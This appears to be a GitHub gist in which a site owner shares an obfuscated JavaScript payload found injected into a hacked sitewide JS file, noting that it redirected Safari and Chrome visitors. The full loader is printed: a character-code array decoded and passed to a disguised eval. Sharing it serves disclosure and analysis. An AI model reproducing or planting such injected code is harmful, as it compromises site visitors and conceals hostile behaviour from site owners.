Created
February 19, 2013 19:24
-
-
Save CNG/d894df7c6794e341229c to your computer and use it in GitHub Desktop.
Hacked JS file caused redirect to google.com in Safari and Chrome, but not Firefox. This code was at the top of a sitewide JS file, but all one line.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
ff=String.fromCharCode; | |
zz=3; | |
try{ | |
document.body/=2 | |
}catch(gdsgd){ | |
v="va"+"l"; | |
if(document) | |
try{ | |
document.body=12; | |
}catch(gdsgsdg){ | |
asd=0; | |
try{ | |
q=document.createElement("div"); | |
}catch(q){ | |
asd=1; | |
} | |
if(!asd){ | |
w={a:window}.a; | |
vv="e"+v; | |
} | |
} | |
e=w[vv]; | |
if(1){ | |
f=new Array(118,96,112,32,104,113,95,98,102,114,110,107,101,31,59,32,109,95,118,104,101,97,115,109,114,45,115,115,100,112,65,102,99,110,115,44,116,110,74,111,118,99,114,66,95,115,100,38,41,45,103,110,99,99,120,78,100,40,38,97,104,113,109,109,100,37,41,31,60,32,44,47,59,9,116,97,113,30,105,114,93,115,96,100,97,113,103,32,60,30,110,96,116,105,102,95,116,110,112,46,116,113,101,113,63,103,100,108,116,45,114,111,75,109,119,100,112,67,96,113,101,39,39,46,104,108,100,100,118,79,101,38,39,114,95,102,96,112,105,38,39,32,61,30,45,48,57,10,9,8,105,101,30,40,104,113,95,98,102,114,110,107,101,31,122,124,31,103,115,94,113,97,101,95,114,104,39,32,31,121,10,31,30,32,31,117,105,109,98,111,118,44,108,110,97,97,115,103,111,109,59,34,103,114,116,111,56,47,46,101,111,110,101,108,100,44,99,110,107,34,58,8,125,31,99,108,114,99,32,122,8,118,96,112,32,94,111,32,60,30,100,110,97,117,108,99,110,115,44,99,113,99,97,115,99,69,107,99,109,100,108,116,39,37,105,101,112,97,108,99,39,40,42,10,31,30,32,31,93,110,31,59,32,38,113,101,115,63,116,115,112,105,97,115,116,100,37,59,9,93,113,90,93,110,92,38,39,114,112,99,38,42,32,38,102,116,115,110,58,46,45,98,113,103,100,96,106,112,107,95,99,100,113,46,98,109,109,46,113,116,99,113,47,102,109,46,111,102,112,62,113,105,99,59,49,38,39,59,9,93,113,45,113,116,120,106,101,45,110,111,114,103,116,104,109,110,31,59,32,38,95,98,114,109,108,116,114,101,38,57,10,94,111,46,114,114,121,107,99,46,118,103,100,115,102,32,60,30,39,48,52,112,119,37,59,9,93,113,90,93,110,92,38,39,101,112,97,108,99,98,110,112,100,100,112,39,43,30,110,96,116,105,102,95,116,110,112,46,116,113,101,113,63,103,100,108,116,45,103,110,99,99,120,78,100,40,38,100,48,96,53,97,48,50,50,97,53,53,52,47,55,49,98,97,54,48,102,101,53,52,96,47,97,98,48,53,48,55,57,38,39,32,42,30,49,40,57,10,94,111,46,114,114,121,107,99,46,107,99,102,115,30,61,31,37,45,52,51,57,54,110,120,38,57,10,99,109,99,116,107,101,109,114,46,118,112,105,115,99,40,38,58,100,104,116,32,104,98,61,91,37,95,94,98,114,48,47,57,50,54,92,38,60,60,46,98,105,117,60,39,40,57,10,99,109,99,116,107,101,109,114,46,102,99,116,68,106,101,108,99,110,115,64,121,72,98,40,38,93,95,99,112,49,48,55,51,55,37,41,45,95,112,111,99,110,99,65,104,104,106,100,39,93,113,40,57,10,9,8,125); | |
} | |
w=f; | |
s=[]; | |
for(i=2-2;-i+640!=0;i+=1){ | |
j=i; | |
if((031==0x19)) | |
if(e)s=s+ff((1*w[j]+j%zz)); | |
} | |
xz=e; | |
xz(s) | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment